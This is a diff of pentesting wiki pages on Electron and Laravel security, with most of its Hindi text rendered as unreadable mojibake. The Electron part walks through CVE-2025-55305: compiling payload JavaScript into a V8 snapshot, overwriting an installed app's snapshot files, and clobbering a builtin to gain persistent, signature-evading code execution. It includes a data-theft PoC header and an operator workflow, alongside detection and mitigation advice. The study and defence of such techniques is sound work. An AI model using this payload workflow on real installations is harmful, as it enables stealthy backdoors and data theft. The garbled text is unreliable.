-* рдкреБрд░рд╛рдиреЗ **Electron versions** (v8.3.0 рд╕реЗ рдкрд╣рд▓реЗ) рдореЗрдВ, рдХреЗрд╡рд▓ NSUserDefaults рдХрд╛ **standard suite** рд╣реА рдЙрдкрд▓рдмреНрдз (accessible) рдерд╛ред
+* рдкреБрд░рд╛рдиреЗ **Electron versions** (v8.3.0 рд╕реЗ рдкрд╣рд▓реЗ) рдореЗрдВ, рдХреЗрд╡рд▓ NSUserDefaults рдХреЗ **standard suite** рддрдХ **accessible** рдерд╛ред
## Shell.showItemInFolder
-рдпрд╣ function рджрд┐рдП рдЧрдП рдлрд╝рд╛рдЗрд▓ рдХреЛ file manager рдореЗрдВ рджрд┐рдЦрд╛рддрд╛ рд╣реИ, рдЬреЛ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ execute рдХрд░ рд╕рдХрддрд╛ рд╣реИред
+This function shows the given file in a file manager, рдЬреЛ **рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ execute рдХрд░ рд╕рдХрддрд╛ рд╣реИ**ред
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
-Electron apps рдореЗрдВ **Content Security Policy (CSP)** рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рддрд╛рдХрд┐ **XSS attacks** рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред **CSP** рдПрдХ security standard рд╣реИ рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ **untrusted code** рдХреЗ execution рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред
+Electron apps should have a **Content Security Policy (CSP)** рддрд╛рдХрд┐ **XSS attacks** рдХреЛ рд░реЛрдХрд╛ рдЬрд╛ рд╕рдХреЗред **CSP** рдПрдХ **security standard** рд╣реИ рдЬреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ **untrusted code** рдХреЗ **execution** рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред
-рдпрд╣ рдЖрдорддреМрд░ рдкрд░ `main.js` рдлрд╛рдЗрд▓ рдпрд╛ `index.html` рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ meta tag рдХреЗ рдЕрдВрджрд░ CSP рдХреЗ рд╕рд╛рде configured рд╣реЛрддрд╛ рд╣реИред
+рдпрд╣ рдЖрдорддреМрд░ рдкрд░ `main.js` рдлрд╝рд╛рдЗрд▓ рдпрд╛ `index.html` рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ CSP рдХреЛ **meta tag** рдХреЗ рдЕрдВрджрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдХреЗ рд▓рдЧрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
For more information check:
@@ -402,16 +418,16 @@ pentesting-web/content-security-policy-csp-bypass/
## **Tools**
-- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron-based applications рдореЗрдВ misconfigurations рдФрд░ security anti-patterns рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ tool рд╣реИред
-- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ Electron applications рдХреЗ рд▓рд┐рдП рдПрдХ open source VS Code plugin рд╣реИред
-- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) vulnerable third party libraries рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП
-- [**Electro.ng**](https://electro.ng/): рдЗрд╕реЗ рдЦрд░реАрджрдирд╛ рдкрдбрд╝реЗрдЧрд╛
+- [**Electronegativity**](https://github.com/doyensec/electronegativity) рдПрдХ рдЯреВрд▓ рд╣реИ рдЬреЛ Electron-based applications рдореЗрдВ misconfigurations рдФрд░ security anti-patterns рдХреА рдкрд╣рдЪрд╛рди рдХрд░рддрд╛ рд╣реИред
+- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electron applications рдХреЗ рд▓рд┐рдП рдПрдХ open source VS Code plugin рд╣реИ рдЬреЛ Electronegativity рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
+- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреА рдХрдордЬреЛрд░ libraries рдХреА рдЬрд╛рдБрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП
+- [**Electro.ng**](https://electro.ng/): рдЖрдкрдХреЛ рдЗрд╕реЗ рдЦрд░реАрджрдирд╛ рд╣реЛрдЧрд╛
## Labs
-In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) рдЖрдк vulnerable Electron apps рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ lab рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
+In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) рдЖрдк vulnerable Electron apps рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд▓реИрдм рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
-рдХреБрдЫ рдХрдорд╛рдВрдбреНрд╕ рдЬреЛ lab рдореЗрдВ рдЖрдкрдХреА рдорджрдж рдХрд░реЗрдВрдЧреЗ:
+рдХреБрдЫ рдХрдорд╛рдВрдб рдЬреЛ рд▓реИрдм рдореЗрдВ рдЖрдкрдХреА рдорджрдж рдХрд░реЗрдВрдЧреЗ:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@@ -434,20 +450,20 @@ cd vulnerable1
npm install
npm start
```
-## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) тАУ CVE-2025-55305
+## V8 heap snapshot рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХреЗ рдЬрд░рд┐рдП рд▓реЛрдХрд▓ backdooring (Electron/Chromium) тАУ CVE-2025-55305
-Electron рдФрд░ Chromium-based apps startup рдкрд░ prebuilt V8 heap snapshot рдХреЛ deserialize рдХрд░рддреЗ рд╣реИрдВ (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ V8 isolate (main, preload, renderer) initialize рд╣реЛ рд╕рдХреЗред рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд░реВрдк рд╕реЗ, ElectronтАЩs integrity fuses рдЗрди snapshots рдХреЛ executable content рдХреЗ рд░реВрдк рдореЗрдВ treat рдирд╣реАрдВ рдХрд░рддреА рдереАрдВ, рдЗрд╕рд▓рд┐рдП рд╡реЗ fuse-based integrity enforcement рдФрд░ OS code-signing checks рджреЛрдиреЛрдВ рд╕реЗ рдмрдЪ рдирд┐рдХрд▓рддреА рдереАрдВред рдирддреАрдЬрддрди, user-writable installation рдореЗрдВ snapshot рдХреЛ replace рдХрд░рдирд╛ signed binaries рдпрд╛ ASAR рдХреЛ modify рдХрд┐рдП рдмрд┐рдирд╛ рдРрдк рдХреЗ рдЕрдВрджрд░ stealthy, persistent code execution рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рдерд╛ред
+Electron рдФрд░ Chromium-based рдРрдкреНрд╕ startup рдкрд░ рдкрд╣рд▓реЗ рд╕реЗ рдмрдиреЗ V8 heap snapshot (v8_context_snapshot.bin, рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ browser_v8_context_snapshot.bin) рдХреЛ deserialize рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ V8 isolate (main, preload, renderer) рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рд╣реЛ рд╕рдХреЗред рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд░реВрдк рд╕реЗ, Electron рдХреА integrity fuses рдЗрди snapshots рдХреЛ executable content рдХреЗ рд░реВрдк рдореЗрдВ рдирд╣реАрдВ рдорд╛рдирддреА рдереАрдВ, рдЗрд╕рд▓рд┐рдП рд╡реЗ fuse-based integrity enforcement рдФрд░ OS code-signing checks рджреЛрдиреЛрдВ рд╕реЗ рдмрдЪ рдЧрдПред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, user-writable installation рдореЗрдВ snapshot рдХреЛ рдмрджрд▓рдиреЗ рд╕реЗ signed binaries рдпрд╛ ASAR рдХреЛ modify рдХрд┐рдпреЗ рдмрд┐рдирд╛ рдРрдк рдХреЗ рдЕрдВрджрд░ stealthy, persistent code execution рд╕рдВрднрд╡ рд╣реЛ рдЧрдпрд╛ред
Key points
-- Integrity gap: EnableEmbeddedAsarIntegrityValidation рдФрд░ OnlyLoadAppFromAsar ASAR рдХреЗ рдЕрдВрджрд░ app JavaScript рдХреЛ validate рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡реЗ V8 heap snapshots рдХреЛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд░рддреЗ рдереЗ (CVE-2025-55305)ред Chromium similarly does not integrity-check snapshots.
-- Attack preconditions: рдРрдк рдХреА installation directory рдореЗрдВ local file write рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ред рдпрд╣ рдЙрди рд╕рд┐рд╕реНрдЯрдореЛрдВ рдкрд░ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдЬрд╣рд╛рдБ Electron apps рдпрд╛ Chromium browsers user-writable paths рдХреЗ рддрд╣рдд install рд╣реЛрддреЗ рд╣реИрдВ (рдЙрджрд╛., %AppData%\Local on Windows; /Applications рдХреБрдЫ рд╢рд░реНрддреЛрдВ рдХреЗ рд╕рд╛рде on macOS)ред
-- Effect: рдХрд┐рд╕реА рднреА isolate рдореЗрдВ attacker JavaScript рдХрд╛ reliable execution рдПрдХ рдЕрдХреНрд╕рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ builtin (рдПрдХ тАЬgadgetтАЭ) рдХреЛ clobber рдХрд░рдХреЗ рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ persistence рдФрд░ code-signing verification рд╕реЗ рдмрдЪрд╛рд╡ рд╕рдХреНрд╖рдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
-- Affected surface: Electron apps (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ fuses enabled рд╣реЛрдиреЗ рдкрд░ рднреА) рдФрд░ рд╡реЗ Chromium-based browsers рдЬреЛ snapshots рдХреЛ user-writable locations рд╕реЗ рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВред
+- Integrity gap: EnableEmbeddedAsarIntegrityValidation рдФрд░ OnlyLoadAppFromAsar ASAR рдХреЗ рдЕрдВрджрд░ app JavaScript рдХреЛ validate рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╡реЗ V8 heap snapshots (CVE-2025-55305) рдХреЛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд░рддреЗ рдереЗред Chromium рднреА рд╕рдорд╛рди рд░реВрдк рд╕реЗ snapshots рдХреА integrity-check рдирд╣реАрдВ рдХрд░рддрд╛ред
+- Attack preconditions: рдРрдк рдХреА installation directory рдореЗрдВ local file writeред рдпрд╣ рдЙрди рд╕рд┐рд╕реНрдЯрдореНрд╕ рдкрд░ рдЖрдо рд╣реИ рдЬрд╣рд╛рдБ Electron apps рдпрд╛ Chromium browsers user-writable paths рдореЗрдВ install рд╣реЛрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ %AppData%\Local on Windows; /Applications with caveats on macOS)ред
+- Effect: рдХрд┐рд╕реА рднреА isolate рдореЗрдВ attacker JavaScript рдХрд╛ reliable execution рдПрдХ рдмрд╛рд░-рдмрд╛рд░ рдЗрд╕реНрддреЗрдорд╛рд▓ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ builtin (a тАЬgadgetтАЭ) рдХреЛ clobber рдХрд░рдХреЗ рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ persistence рдФрд░ code-signing verification рд╕реЗ рдмрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИред
+- Affected surface: Electron apps (even with fuses enabled) рдФрд░ Chromium-based browsers рдЬреЛ user-writable locations рд╕реЗ snapshots load рдХрд░рддреЗ рд╣реИрдВред
Generating a malicious snapshot without building Chromium
-- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the applicationтАЩs v8_context_snapshot.bin.
+- prebuilt electron/mksnapshot рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ payload JS рдХреЛ рдПрдХ snapshot рдореЗрдВ compile рдХрд░реЗрдВ рдФрд░ application рдХреЗ v8_context_snapshot.bin рдХреЛ overwrite рдХрд░реЗрдВред
-Example minimal payload (prove execution by forcing a crash)
+Example minimal payload (execution рд╕рд╛рдмрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП crash рдХрд░рд╛рдХрд░)
```js
// Build snapshot from this payload
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
@@ -461,11 +477,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
-Isolate-aware payload routing (main рдФрд░ renderer рдореЗрдВ рдЕрд▓рдЧ рдХреЛрдб рдЪрд▓рд╛рдирд╛)
-- Main process detection: Node-only globals рдЬреИрд╕реЗ process.pid, process.binding(), рдпрд╛ process.dlopen рдореБрдЦреНрдп process isolate рдореЗрдВ рдореМрдЬреВрдж рд░рд╣рддреЗ рд╣реИрдВред
-- Browser/renderer detection: Browser-only globals рдЬреИрд╕реЗ alert рдбреЙрдХреНрдпреВрдореЗрдВрдЯ context рдореЗрдВ рдЪрд▓рдиреЗ рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреЗ рд╣реИрдВред
+Isolate-aware payload routing (main рдмрдирд╛рдо renderer рдореЗрдВ рдЕрд▓рдЧ рдХреЛрдб рдЪрд▓рд╛рдПрдБ)
+- Main process рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛: Node-only globals рдЬреИрд╕реЗ process.pid, process.binding(), рдпрд╛ process.dlopen main process isolate рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрддреЗ рд╣реИрдВ.
+- Browser/renderer рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛: Browser-only globals рдЬреИрд╕реЗ alert document context рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реЛрддреЗ рд╣реИрдВ.
-Example gadget рдЬреЛ рдПрдХ рдмрд╛рд░ main-process рдХреА Node capabilities рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ
+Example gadget рдЬреЛ рдПрдХ рдмрд╛рд░ main-process рдХреА Node рдХреНрд╖рдорддрд╛рдУрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИ
```js
const orig = Array.isArray;
@@ -494,7 +510,7 @@ process.exit(0);
return orig(...arguments);
};
```
-Renderer/browser-context data theft PoC (рдЬреИрд╕реЗ Slack)
+Renderer/browser-context рдбреЗрдЯрд╛ рдЪреЛрд░реА PoC (e.g., Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@@ -519,23 +535,23 @@ return orig(...arguments);
};
```
Operator workflow
-1) payload.js рд▓рд┐рдЦреЗрдВ рдЬреЛ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп builtin (e.g., Array.isArray) рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░реЗ рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рддрд┐ isolate рдмреНрд░рд╛рдВрдЪ рдХрд░реЗред
+1) payload.js рд▓рд┐рдЦреЗрдВ рдЬреЛ рдХрд┐рд╕реА рд╕рд╛рдорд╛рдиреНрдп builtin (рдЙрджрд╛., Array.isArray) рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░ рджреЗ рдФрд░ рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ рдкреНрд░рддрд┐ isolate рдмреНрд░рд╛рдВрдЪ рдХрд░реЗред
2) Chromium рд╕реНрд░реЛрддреЛрдВ рдХреЗ рдмрд┐рдирд╛ snapshot рдмрдирд╛рдПрдВ:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
-3) рд▓рдХреНрд╖рд┐рдд рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА snapshot рдлрд╝рд╛рдЗрд▓(реЗрдВ) рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ:
-- v8_context_snapshot.bin (рд╣рдореЗрд╢рд╛ рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ)
-- browser_v8_context_snapshot.bin (рдпрджрд┐ LoadBrowserProcessSpecificV8Snapshot fuse рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ)
-4) рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ; gadget рддрдм execute рд╣реЛрдЧрд╛ рдЬрдм рднреА рдЪреБрдирд╛ рдЧрдпрд╛ builtin рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
+3) рд▓рдХреНрд╖реНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА snapshot рдлрд╝рд╛рдЗрд▓(рдУрдВ) рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдВ:
+- v8_context_snapshot.bin (рд╣рдореЗрд╢рд╛ рдЙрдкрдпреЛрдЧ рд╣реЛрддреА рд╣реИ)
+- browser_v8_context_snapshot.bin (рдпрджрд┐ LoadBrowserProcessSpecificV8Snapshot fuse рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИ)
+4) рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ; рдЪреБрдиреЗ рд╣реБрдП builtin рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ gadget рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред
Notes and considerations
-- Integrity/signature bypass: Snapshot рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ code-signing checks рджреНрд╡рд╛рд░рд╛ native executables рдХреА рддрд░рд╣ рдирд╣реАрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ (рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд░реВрдк рд╕реЗ) рдЗрдиреНрд╣реЗрдВ ElectronтАЩs fuses рдпрд╛ Chromium integrity controls рджреНрд╡рд╛рд░рд╛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
-- Persistence: user-writable install рдореЗрдВ snapshot рдХреЛ рдмрджрд▓рдирд╛ рдЖрдорддреМрд░ рдкрд░ app restarts рдХреЗ рдмрд╛рдж рднреА рд╕реБрд░рдХреНрд╖рд┐рдд рд░рд╣рддрд╛ рд╣реИ рдФрд░ рдпрд╣ рдПрдХ signed, legitimate app рдЬреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИред
-- Chromium browsers: рд╕рдорд╛рди рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд╛ рд╡рд┐рдЪрд╛рд░ рдЙрди Chrome/derivatives рдкрд░ рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ user-writable рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реИрдВред Chrome рдХреЗ рдкрд╛рд╕ рдЕрдиреНрдп integrity mitigations рд╣реИрдВ рдкрд░ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ physically local attacks рдХреЛ рдЕрдкрдиреЗ threat model рд╕реЗ рдмрд╛рд╣рд░ рд░рдЦрддрд╛ рд╣реИред
+- Integrity/signature bypass: Snapshot рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ code-signing checks рджреНрд╡рд╛рд░рд╛ native executables рдХреЗ рд░реВрдк рдореЗрдВ рдирд╣реАрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рдФрд░ (рдРрддрд┐рд╣рд╛рд╕рд┐рдХ рд░реВрдк рд╕реЗ) ElectronтАЩs fuses рдпрд╛ Chromium integrity controls рджреНрд╡рд╛рд░рд╛ рдХрд╡рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
+- Persistence: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рд▓реЗрдЦрдиреАрдп рдЗрдВрд╕реНрдЯреЙрд▓ рдореЗрдВ snapshot рдмрджрд▓рдиреЗ рд╕реЗ рдЖрдо рддреМрд░ рдкрд░ рдРрдк рд░рд┐рд╕реНрдЯрд╛рд░реНрдЯ рдХреЗ рдмрд╛рдж рднреА рдмрджрд▓рд╛рд╡ рдмрдиреА рд░рд╣рддреА рд╣реИ рдФрд░ рдпрд╣ рдПрдХ signed, legitimate app рдЬреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИред
+- Chromium browsers: рд╡рд╣реА рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд╛ рд╡рд┐рдЪрд╛рд░ Chrome/derivatives рдкрд░ рднреА рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ user-writable рд▓реЛрдХреЗрд╢рдиреЛрдВ рдореЗрдВ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реИрдВред Chrome рдХреЗ рдкрд╛рд╕ рдЕрдиреНрдп integrity mitigations рд╣реИрдВ рдкрд░ рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ physically local attacks рдХреЛ рдЕрдкрдиреЗ threat model рд╕реЗ рдмрд╛рд╣рд░ рд░рдЦрддрд╛ рд╣реИред
Detection and mitigations
-- Snapshot рдХреЛ executable content рдХреЗ рд░реВрдк рдореЗрдВ рдорд╛рдиреЗрдВ рдФрд░ рдЗрдиреНрд╣реЗрдВ integrity enforcement рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ (CVE-2025-55305 fix).
-- admin-writable-only install рд╕реНрдерд╛рди рдкрд╕рдВрдж рдХрд░реЗрдВ; v8_context_snapshot.bin рдФрд░ browser_v8_context_snapshot.bin рдХреЗ рд▓рд┐рдП baseline рдФрд░ hashes рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░реЗрдВред
-- early-runtime builtin clobbering рдФрд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд snapshot рдмрджрд▓рд╛рд╡реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ; рдЬрдм deserialized snapshots рдЕрдкреЗрдХреНрд╖рд┐рдд рдорд╛рдиреЛрдВ рд╕реЗ рдореЗрд▓ рдирд╣реАрдВ рдЦрд╛рддреЗ рддреЛ alert рдХрд░реЗрдВред
+- Snapshot рдХреЛ executable content рдорд╛рдиреЗрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ integrity enforcement рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдВ (CVE-2025-55305 fix)ред
+- Admin-writable-only install рд▓реЛрдХреЗрд╢рдиреЛрдВ рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ; v8_context_snapshot.bin рдФрд░ browser_v8_context_snapshot.bin рдХреЗ рд▓рд┐рдП baseline рдФрд░ рдореЙрдирд┐рдЯрд░ hashes рд░рдЦреЗрдВред
+- Early-runtime builtin clobbering рдФрд░ рдЕрдирдкреЗрдХреНрд╖рд┐рдд snapshot рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдБ; рдЬрдм deserialized snapshots рдЙрдореНрдореАрдж рдХреЗ рдЕрдиреБрд░реВрдк рди рд╣реЛрдВ рддреЛ alert рдХрд░реЗрдВред
## **References**
@@ -547,7 +563,7 @@ Detection and mitigations
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
- [Loki C2](https://github.com/boku7/Loki/)
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
-- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically_local-attacks-in-chromes-threat-model)
+- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md
index 9ff2c564e..afe452a46 100644
--- a/src/network-services-pentesting/pentesting-web/laravel.md
+++ b/src/network-services-pentesting/pentesting-web/laravel.md
@@ -4,14 +4,14 @@
### Laravel SQLInjection
-рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкрдврд╝реЗрдВ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
+рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ рдкрдврд╝реЗрдВ: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
-## APP_KEY рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдЗрдВрдЯрд░рдирд▓реНрд╕ (Laravel \u003e=5.6)
+## APP_KEY & Encryption internals (Laravel \u003e=5.6)
-Laravel рдмреИрдХрдПрдВрдб рдореЗрдВ AES-256-CBC (рдпрд╛ GCM) рдФрд░ HMAC рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (`Illuminate\\Encryption\\Encrypter`)ред
-рдЕрдВрддрддрдГ рдХрдЪреНрдЪрд╛ ciphertext рдЬреЛ **рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ**, рд╡рд╣ **Base64 of a JSON object** рдЬреИрд╕рд╛ рд╣реЛрддрд╛ рд╣реИ:
+Laravel рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ AES-256-CBC (рдпрд╛ GCM) рдФрд░ HMAC рдЗрдВрдЯреАрдЧреНрд░рд┐рдЯреА рдХреЗ рд╕рд╛рде (`Illuminate\\Encryption\\Encrypter`) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
+рдЕрдВрддрддрдГ **рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛** рдХрдЪреНрдЪрд╛ ciphertext рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд╛ **JSON object рдХрд╛ Base64** рд╣реЛрддрд╛ рд╣реИ:
```json
{
"iv" : "Base64(random 16-byte IV)",
@@ -20,23 +20,23 @@ Laravel рдмреИрдХрдПрдВрдб рдореЗрдВ AES-256-CBC (рдпрд╛ GCM) рдФрд░ HMAC рдЗрдВ
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
-`encrypt($value, $serialize=true)` рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╕рд╛рджрд╛ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ `serialize()` рдХрд░реЗрдЧрд╛, рдЬрдмрдХрд┐
-`decrypt($payload, $unserialize=true)` **рдбрд┐рдХреНрд░реАрдкреНрдЯ рдХрд┐рдП рдЧрдП рдорд╛рди рдХреЛ рд╕реНрд╡рддрдГ `unserialize()` рдХрд░реЗрдЧрд╛**ред
